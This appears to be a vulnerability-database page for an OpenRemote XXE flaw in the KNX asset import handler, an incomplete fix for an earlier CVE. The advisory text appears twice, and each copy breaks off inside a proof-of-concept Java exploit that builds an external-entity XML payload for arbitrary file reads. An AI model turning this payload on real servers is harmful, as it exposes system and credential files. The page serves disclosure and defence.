Io.openremote:openremote agent: OpenRemote has an incomplete fix for CVE-2026-40882: XXE in KNXProtocol.startAssetImport() allows arbitrary file read via unprotected XMLInputFactory (CVE-2026-54640)
### Summary The fix for CVE-2026-40882 addressed only the Velbus asset import handler. The KNX asset import handler (`KNXProtocol`) processes user-uploaded ETS project ZIP files through Saxon XSLT and `XMLInputFactory.newInstance()` with no XXE protection, allowing any authenticated user to read arbitrary files from the server filesystem (e.g. `/etc/passwd`, `openmrs-runtime.properties`, cloud credential files). ### Details ### Incomplete patch CVE-2026-40882 was fixed by introducing `createSecureDocumentBuilderFactory()` in `AbstractVelbusProtocol.java` with five XXE-blocking features. The parallel asset import handler in `KNXProtocol.java` was not updated and retains two unprotected XML parsing calls on the same user-controlled data. **Patched file — AbstractVelbusProtocol.java:** ```java private DocumentBuilderFactory createSecureDocumentBuilderFactory() { DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true); factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); factory.setFeature("http://xml.org/sax/features/external-general-entities", false); factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false); factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); return factory; } ``` **Vulnerable file — KNXProtocol.java, lines 229–249:** ```java // Line 229-230: reads 0.xml from user-uploaded ZIP InputStream inputStream = KNXProtocol.class.getResourceAsStream(".../ets_calimero_group_name.xsl"); String xsd = IOUtils.toString(inputStream, StandardCharsets.UTF_8); // Lines 233-245: Saxon XSLT — no XXE protection on the source document TransformerFactory tfactory = new TransformerFactoryImpl(); Transformer transformer = tfactory.newTransformer(new StreamSource(new StringReader(xsd))); transformer.transform( new StreamSource(new StringReader(xml)), // xml = 0.xml from attacker's ZIP new StreamResult(writer)); // Line 249: XMLInputFactory — no SUPPORT_DTD=false, no IS_SUPPORTING_EXTERNAL_ENTITIES=false try (final XmlReader r = XmlInputFactory.newInstance() .createXMLStreamReader(new StringReader(xml))) { ... } ``` ### Data flow ``` POST /api/{realm}/agent/{agentId}/import (authenticated user, PR:L) → AgentResourceImpl.doProtocolAssetImport(fileData) → KNXProtocol.startAssetImport(byte[] fileData) → ZipInputStream reads 0.xml from attacker-controlled ETS ZIP → Saxon TransformerFactoryImpl.transform(StreamSource(0.xml)) ← XXE stage 1 → XmlInputFactory.newInstance().createXMLStreamReader(xml) ← XXE stage 2 → external entity resolved → arbitrary file read ``` ### Comparison with patched code | Handler | XML parser | DTD disabled | Status | |---|---|---|---| | `AbstractVelbusProtocol` | `DocumentBuilderFactory` | ✅ 5 features set | Patched (CVE-2026-40882) | | `KNXProtocol` | `Saxon` + `XMLInputFactory` | ❌ none set | **Not patched** | ### PoC No full OpenRemote installation required. The following reproduces the vulnerable XML processing chain using the exact same library versions. **Requirements:** Java 17+, Maven 3.8+ **pom.xml dependency:** ```xml <dependency> <groupId>net.sf.saxon</groupId> <artifactId>Saxon-HE</artifactId> <version>12.9</version> </dependency> ``` **Exploit.java:** ```java import net.sf.saxon.TransformerFactoryImpl; import javax.xml.stream.*; import javax.xml.transform.*; import javax.xml.transform.stream.*; import java.io.*; import java.nio.file.*; public class Exploit { public static void main(String[] args) throws Exception { // Sentinel file — proves arbitrary file read Path sentinel = Files.createTempFile("openremote_xxe_proof_", ".txt"); String tag = "OPENREMOTE_KNX_XXE_" + System.currentTimeMillis(); Files.writeString(sentinel, tag); String maliciousXml = "<?xml version=\"1.0\"?>\n" + "<!DOCTYPE root [\n" + " <!ENTITY xxe SYSTEM \"file://" + sentinel.toAbsolutePath() + "\">\n" + "]>\n" + "<root><data>&xxe;</data></root>"; // Stage A: XMLInputFactory (KNXProtocol.java:249 — no security config) XMLInputFactory factory = XMLInputFactory.newInstance(); XMLStreamReader reader = factory.createXMLStreamReader(new StringReader(maliciousXml)); StringBuilder sb = new StringBuilder(); while (reader.hasNext()) { int e = reader.next(); if (e == XMLStreamConstants.CHARACTERS) sb.append(reader.getText()); } System.out.println("Stage A result: " + sb.toString().trim()); // Stage B: Saxon TransformerFactoryImpl (KNXProtocol.java:233-245) String xsl = "<?xml version=\"1.0\"?>" + "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">" + "<xsl:output method=\"text\"/>" + "<xsl:tem
AI Analysis
Technical Summary
The vulnerability arises because the KNXProtocol asset import handler in OpenRemote does not apply the XXE protections introduced in the Velbus handler fix for CVE-2026-40882. Specifically, the KNXProtocol uses Saxon TransformerFactoryImpl and XMLInputFactory.newInstance() to parse user-controlled XML data without disabling DTD processing or external entity resolution. This allows authenticated users to craft malicious XML that causes the server to read arbitrary files, such as /etc/passwd or cloud credential files. The incomplete patch means the KNX handler remains exploitable despite the prior fix in a parallel component.
Potential Impact
An authenticated user with low privileges can exploit this vulnerability to read arbitrary files on the server hosting OpenRemote. This can lead to disclosure of sensitive information including system files and credentials, potentially facilitating further attacks or data breaches. The vulnerability affects confidentiality (high impact), with limited integrity and availability impact.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is released, users should consider restricting access to the asset import functionality to trusted users only. Monitor vendor communications for updates addressing the incomplete patch in the KNXProtocol component. Do not rely on the existing fix for the Velbus handler as it does not protect the KNX handler.
Io.openremote:openremote agent: OpenRemote has an incomplete fix for CVE-2026-40882: XXE in KNXProtocol.startAssetImport() allows arbitrary file read via unprotected XMLInputFactory (CVE-2026-54640)
Description
### Summary The fix for CVE-2026-40882 addressed only the Velbus asset import handler. The KNX asset import handler (`KNXProtocol`) processes user-uploaded ETS project ZIP files through Saxon XSLT and `XMLInputFactory.newInstance()` with no XXE protection, allowing any authenticated user to read arbitrary files from the server filesystem (e.g. `/etc/passwd`, `openmrs-runtime.properties`, cloud credential files). ### Details ### Incomplete patch CVE-2026-40882 was fixed by introducing `createSecureDocumentBuilderFactory()` in `AbstractVelbusProtocol.java` with five XXE-blocking features. The parallel asset import handler in `KNXProtocol.java` was not updated and retains two unprotected XML parsing calls on the same user-controlled data. **Patched file — AbstractVelbusProtocol.java:** ```java private DocumentBuilderFactory createSecureDocumentBuilderFactory() { DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true); factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); factory.setFeature("http://xml.org/sax/features/external-general-entities", false); factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false); factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); return factory; } ``` **Vulnerable file — KNXProtocol.java, lines 229–249:** ```java // Line 229-230: reads 0.xml from user-uploaded ZIP InputStream inputStream = KNXProtocol.class.getResourceAsStream(".../ets_calimero_group_name.xsl"); String xsd = IOUtils.toString(inputStream, StandardCharsets.UTF_8); // Lines 233-245: Saxon XSLT — no XXE protection on the source document TransformerFactory tfactory = new TransformerFactoryImpl(); Transformer transformer = tfactory.newTransformer(new StreamSource(new StringReader(xsd))); transformer.transform( new StreamSource(new StringReader(xml)), // xml = 0.xml from attacker's ZIP new StreamResult(writer)); // Line 249: XMLInputFactory — no SUPPORT_DTD=false, no IS_SUPPORTING_EXTERNAL_ENTITIES=false try (final XmlReader r = XmlInputFactory.newInstance() .createXMLStreamReader(new StringReader(xml))) { ... } ``` ### Data flow ``` POST /api/{realm}/agent/{agentId}/import (authenticated user, PR:L) → AgentResourceImpl.doProtocolAssetImport(fileData) → KNXProtocol.startAssetImport(byte[] fileData) → ZipInputStream reads 0.xml from attacker-controlled ETS ZIP → Saxon TransformerFactoryImpl.transform(StreamSource(0.xml)) ← XXE stage 1 → XmlInputFactory.newInstance().createXMLStreamReader(xml) ← XXE stage 2 → external entity resolved → arbitrary file read ``` ### Comparison with patched code | Handler | XML parser | DTD disabled | Status | |---|---|---|---| | `AbstractVelbusProtocol` | `DocumentBuilderFactory` | ✅ 5 features set | Patched (CVE-2026-40882) | | `KNXProtocol` | `Saxon` + `XMLInputFactory` | ❌ none set | **Not patched** | ### PoC No full OpenRemote installation required. The following reproduces the vulnerable XML processing chain using the exact same library versions. **Requirements:** Java 17+, Maven 3.8+ **pom.xml dependency:** ```xml <dependency> <groupId>net.sf.saxon</groupId> <artifactId>Saxon-HE</artifactId> <version>12.9</version> </dependency> ``` **Exploit.java:** ```java import net.sf.saxon.TransformerFactoryImpl; import javax.xml.stream.*; import javax.xml.transform.*; import javax.xml.transform.stream.*; import java.io.*; import java.nio.file.*; public class Exploit { public static void main(String[] args) throws Exception { // Sentinel file — proves arbitrary file read Path sentinel = Files.createTempFile("openremote_xxe_proof_", ".txt"); String tag = "OPENREMOTE_KNX_XXE_" + System.currentTimeMillis(); Files.writeString(sentinel, tag); String maliciousXml = "<?xml version=\"1.0\"?>\n" + "<!DOCTYPE root [\n" + " <!ENTITY xxe SYSTEM \"file://" + sentinel.toAbsolutePath() + "\">\n" + "]>\n" + "<root><data>&xxe;</data></root>"; // Stage A: XMLInputFactory (KNXProtocol.java:249 — no security config) XMLInputFactory factory = XMLInputFactory.newInstance(); XMLStreamReader reader = factory.createXMLStreamReader(new StringReader(maliciousXml)); StringBuilder sb = new StringBuilder(); while (reader.hasNext()) { int e = reader.next(); if (e == XMLStreamConstants.CHARACTERS) sb.append(reader.getText()); } System.out.println("Stage A result: " + sb.toString().trim()); // Stage B: Saxon TransformerFactoryImpl (KNXProtocol.java:233-245) String xsl = "<?xml version=\"1.0\"?>" + "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">" + "<xsl:output method=\"text\"/>" + "<xsl:tem
CVSS v3.1
Score 7.6high
Affected software
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Weaknesses
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The vulnerability arises because the KNXProtocol asset import handler in OpenRemote does not apply the XXE protections introduced in the Velbus handler fix for CVE-2026-40882. Specifically, the KNXProtocol uses Saxon TransformerFactoryImpl and XMLInputFactory.newInstance() to parse user-controlled XML data without disabling DTD processing or external entity resolution. This allows authenticated users to craft malicious XML that causes the server to read arbitrary files, such as /etc/passwd or cloud credential files. The incomplete patch means the KNX handler remains exploitable despite the prior fix in a parallel component.
Potential Impact
An authenticated user with low privileges can exploit this vulnerability to read arbitrary files on the server hosting OpenRemote. This can lead to disclosure of sensitive information including system files and credentials, potentially facilitating further attacks or data breaches. The vulnerability affects confidentiality (high impact), with limited integrity and availability impact.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is released, users should consider restricting access to the asset import functionality to trusted users only. Monitor vendor communications for updates addressing the incomplete patch in the KNXProtocol component. Do not rely on the existing fix for the Velbus handler as it does not protect the KNX handler.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- GHSA-7v6w-c3f4-9wpq
- Osv Schema Version
- 1.4.0
- Aliases
- ["CVE-2026-54640"]
- Ecosystems
- ["Maven"]
- Database Specific Severity
- HIGH
- Cvss Version
- 3.1
Threat ID: 6a4c340527e9c797195f648c
Added to database: 07/06/2026, 23:02:29 UTC
Last enriched: 07/06/2026, 23:13:45 UTC
Last updated: 07/31/2026, 12:27:30 UTC
Views: 37
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